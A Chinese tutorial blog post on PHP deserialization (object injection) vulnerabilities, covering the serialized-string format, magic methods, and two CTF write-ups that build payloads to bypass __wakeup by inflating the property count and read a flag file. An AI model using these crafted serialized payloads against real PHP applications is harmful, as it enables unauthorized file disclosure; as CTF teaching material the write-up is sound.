当前位置: 首页 > news >正文

php反序列化漏洞学习

为什么需要php序列化

php序列化的过程就是将php对象或数组转化成可存储或传输的字符串格式,反序列化就是反过来的过程;序列化之后便于兼容各种系统,在各种系统之间传输,字符串的格式便于进行储存数据缓存;PHP 对象包含属性和方法,但方法无法直接序列化(仅存储方法名,不存储逻辑),属性值会被序列化;序列化之后的数据结构更加紧凑,便于传输;序列化会保留数据的类型信息(如整数、字符串、布尔值),反序列化时能准确还原。

php文件在执行完成之后就会将对象销毁,所以如果要想重新使用销毁的对象就会比较的麻烦,这时候将对象序列化之后,就可以储存下来,使用时再进行反序列化即可。总之php序列化就是便于传输数据和进行数据保存,兼容性更强、更简便。

php反序列化漏洞的成因

两个关键函数

serialize():将对象或数组序列化,生成一个字符串

unserialize():将序列化得到的字符串反序列化,生成php值

原因

php反序列化漏洞又称php对象注入漏洞,程序对传入的数据处理不当形成,由于php序列化不会保存对象中的方法,所以我们只能针对对象的属性,通过篡改对象属性达到注入目的。

主因:unserialize函数对于接收的数据没有限制,我们可以选择传入的数据,只要这个传入的参数可控,我们就可以传入任意序列化之后的字符串让unserialize函数反序列化

到这里可能会有一些疑问,php序列化之后不是不保存方法吗,没有方法意味着不能执行一些操作,简单来说序列化之后保存的字符串就只是一串包含信息的字符串,它不带任何方法逻辑,那么我们怎么用它来执行一些操作,那么这个时候就要牵扯到一个类定义的方法了。

如果仔细剖开反序列化的过程的话,就会明白反序列化不是单纯的将序列化之后的字符串还原成php值,在反序列化时需要依赖当前环境已定义的类,如果当前环境没有定义类的话,php会自己生成一个__PHP_Incomplete_Class的对象来保证反序列化成功进行。虽然序列化不保存方法,但反序列化时需确保类定义已加载,这样还原的对象就能调用类中定义的方法。当然这也是有限制的,调用类中的方法要求这个类必须和序列化时的类一样

判断方法

经过上面的了解,我们知道一般如果有反序列化漏洞的话,就会有unserialize函数出现,所以我们在题目中可以锁定这个函数,大差不离就会有反序列化漏洞

构造序列化字符串方法

php对象的反序列化标识符

a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string

序列化字符串的结构

<?php
class test{private $test1="hello";public $test2="hello";protected $test3="hello";
}
$test = new test();
echo serialize($test);  //  O:4:"test":3:{s:11:" test test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:" * test3";s:5:"hello";}
?>

以这个代码为例,它序列化之后的字符串是:

O:4:"test":3:{s:11:" test test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:" * test3";s:5:"hello";}

代码定义了一个test类,下面定义了3个属性,3个属性都不一样,分别是私有属性private,公有属性public,受保护属性protected。将test类实例化之后赋值给test变量,输出序列化后的test变量。我们主要看序列化之后的字符串,大致的格式是这样的

O:<类名长度>:"<类名>":<属性数量>:{<属性列表>}

O表示这是一个对象 (Object)
4是类名长度也就是test的长度
test是类名
3是属性数量,也就是类中包含的3个属性
重点就是属性列表了,可能用上面的代码还是有点迷惑性,我们在末尾再添加一个公共类

<?php
class test{private $test1="hello";public $test2="hello";protected $test3="hello";public $test4="hello";
}
$test = new test();
echo serialize($test);
?>
O:4:"test":4:{s:11:" test test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:" * test3";s:5:"hello";s:5:"test4";s:5:"hello";}

根据大致的格式,只有一对{}将所有属性列表包含起来,并且每个属性之间用;隔开。
每个属性都遵循格式:类型:长度:"属性名":类型:长度:"属性值";
其中属性名长度包含前缀,属性值长度不包含。
在最后面加了一个公共属性的属性,可以看到这个属性也被序列化输出出来了,所以序列化说到的属性不是指受保护、公共、隐私这些特殊属性,而是类里面定义的属性。
从输出之后的自负床也可以看到,不同的特殊属性序列化之后的格式也是不一样的,private属性序列化的时候格式是 %00类名%00成员名;protected属性序列化的时候格式是 %00*%00成员名,上面的代码中%00被解析成空格了。

魔术方法

有注入就有绕过,而php反序列化注入的绕过大多是通过魔术方法实现的。

什么是魔术方法

魔术方法在一些特定的情况下能被自动调用,所以我们一般用这个来绕过一些验证和过滤或者用来执行代码;魔术方法是以__开头的特殊函数,我们需要掌握上面条件下能调用什么魔术方法,什么魔术方法有什么作用,使用多个魔术方法的时候魔术方法调用的先后顺序是什么

类型

__construct(),类的构造函数
__destruct(),类的析构函数
__call(),在对象中调用一个不可访问方法时调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),获得一个类的成员变量时调用
__set(),设置一个类的成员变量时调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用。
__sleep(),执行serialize()时,先会调用这个函数
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
__set_state(),调用var_export()导出类时,此静态方法会被调用。
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息
主要用到的:
(1) __construct():当对象创建时会自动调用(但在unserialize()时是不会自动调用的)。
(2) __wakeup() :unserialize()时会自动调用
(3) __destruct():当对象被销毁时会自动调用。
(4) __toString():当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用
(5) __get() :当从不可访问的属性读取数据
(6) __call(): 在对象上下文中调用不可访问的方法时触发

常用魔术方法的调用顺序

<?php
class test{public $name = '123321';function __construct(){echo "__construct()";echo "<br><br>";}function __destruct(){echo "__destruct()";echo "<br><br>";}function __wakeup(){echo "__wakeup()";echo "<br><br>";}function __toString(){return "__toString()" . "<br><br>";}function __sleep(){echo "__sleep()";echo "<br><br>";return array("name");}
}
$test1 = new test();
$test2 = serialize($test1);
$test3 = unserialize($test2);
print($test3);
?>

我们就这个代码来进行实验,代码中定义了一些魔术方法和一个属性,如果调用了魔术方法就会输出它的名称

如图可见先后顺序。

题目

[SWPUCTF 2021 新生赛]no_wakeup

打开环境直接有源码的

 <?phpheader("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");class HaHaHa{public $admin;public $passwd;public function __construct(){$this->admin ="user";$this->passwd = "123456";}public function __wakeup(){$this->passwd = sha1($this->passwd);}public function __destruct(){if($this->admin === "admin" && $this->passwd === "wllm"){include("flag.php");echo $flag;}else{echo $this->passwd;echo "No wake up";}}}$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);?> 

大致看一下代码,定位一些关键的函数:unserialize反序列化函数,上面通过get传参p参数后交给这个函数进行反序列化处理,所以大致可以判断这题就是php反序列化注入;接着去看定义的类,里面有两个属性,三个方法,这些都是公共的,具体去看方法首先是__construct方法:将$this->admin赋值为user$this->passwd为123456;__wakeup方法:将进行$this->passwdsha1加密,我们知道sha1加密是不可逆的加密方式;__destruct方法:一个判断语句,如果符合对比条件就包含flag.php,输出flag变量,这里用的是强对比所以其他的绕过方法还是比较难的
那么就整理一下思路,重点就是后面两个定义的方法,但是wakeup方法中的sha1加密不可逆,所以我们只能想办法绕过这个方法,主要去调用destruct方法,通过它去输出flag

<?php
class HaHaHa{public $admin;public $passwd;public function __construct(){$this->admin ="user";$this->passwd = "123456";}public function __wakeup(){$this->passwd = sha1($this->passwd);}public function __destruct(){if($this->admin === "admin" && $this->passwd === "wllm"){include("flag.php");echo '';}else{echo $this->passwd;echo "No wake up";}}
}
$a = new HaHaHa();
$a->admin = "admin";
$a->passwd = "wllm";
$b = serialize($a);
print_r($b);

一个简单的代码,依据destruct方法的判断,输出的序列化字符串是

O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

直接去提交是错的

网页输出了sha1加密之后的密码,其实这个就是wllm经过sha1加密的结果

这说明什么,说明wakeup方法没有被绕过,其实我们可以再去试一下,如果把属性数量从2改成1或者0会怎么样,答案是0和1是一个结果

这个sha1加密之后的字符串是空值sha1加密的结果

这边就要了解到一个wakeup绕过的知识点,我们知道hahaha这个类中只有admin、passwd这两个属性,在较旧的 PHP 版本(5.6.25 及以下)中如果序列化的字符串的属性数量大于类中的属性数量wakeup方法就会被跳过,所以我们只要该属性数量大于2即可绕过达到目的


那么就剩最后一个问题了,为什么改属性数量小于2时,得到的passwd的sha1加密的结果会是空值sha1加密的结果呢?
如果属性数量是1的化,按照类中定义属性的顺序只有admin这个属性会被恢复,所以passwd当然是空值了

[SWPUCTF 2022 新生赛]ez_ez_unserialize

开环境直接有源码

<?php
class X
{public $x = __FILE__;function __construct($x){$this->x = $x;}function __wakeup(){if ($this->x !== __FILE__) {$this->x = __FILE__;}}function __destruct(){highlight_file($this->x);//flag is in fllllllag.php}
}
if (isset($_REQUEST['x'])) {@unserialize($_REQUEST['x']);
} else {highlight_file(__FILE__);
} 

定义一个公共属性三个方法,还是通过unserialize函数去判断是php反序列化注入,这边是request传参,说明get或者post都可以。
第一个方法先将变量x赋值给$this->x,第二个方法又将他强制变成__FILE__,$x是我们要传入的参数,对于我们来说是可控的,所以我们要绕过第二个办法也就是wakeup办法来避免$this->x值被强行改变,最后第三个方法会将x属性的语法结构高亮显示出来,后面提示了flag所在的位置
所以我们的思路就是要使用第三个方法将flag显示出来,要使传入的数据可控,就要绕过wakeup方法

<?php
class X
{function __destruct(){highlight_file($this->x);//flag is in fllllllag.php}
}
$a = new X();
$a->x ="fllllllag.php";
$b=serialize($a);
print_r($b);
O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}

还是修改属性数量,用get传参即可

小结

我们上面的题目都是关于wakeup的绕过,还有很多其他的绕过,倒时候遇到再了解 吧。

相关文章:

  • [安卓按键精灵辅助工具]一些安卓端可以用的雷电模拟器adb命令
  • 关于安卓dialogFragment中,EditText无法删除文字的问题
  • Android NTP自动同步时间机制
  • 展开说说Android之Glide详解_使用篇
  • DRG支付场景模拟器扩展分析:技术实现与应用价值
  • 算法导论第三章:数据结构艺术与高效实现
  • 为什么TCP有粘包问题,而UDP没有
  • 前端导出PDF(适配ios Safari浏览器)
  • 力扣HOT100之技巧:136. 只出现一次的数字
  • opencl的简单介绍以及c++实例
  • 爱普生FC-135R晶振在广域网LoRa设备中的应用
  • openEuler 虚拟机中 Shell 脚本实现自动化备份与清理实践
  • Tomcat线程模型
  • 单链表经典算法
  • nt!CcGetDirtyPages函数分析
  • 软件测试相关问题
  • 蓝牙无线串口入门使用教程(以大夏龙雀 WF24 和 BT36 为例)
  • PCI总线概述
  • 【开源工具】:基于PyQt5的智能网络驱动器映射工具开发全流程(附源码)
  • Java 大视界——Java大数据在智能安防视频监控中的异常事件快速响应与处理机制
  • 自家宽带怎么建设网站/搜索引擎优化的定义是什么
  • 合肥公司制作网站的/网络营销工程师是做什么的
  • wordpress 调用编辑器/seo博客网址
  • 网站上传独立服务器/百度大数据查询
  • 东山网站制作/谷歌seo工具
  • 网站后台管理系统框架/资源平台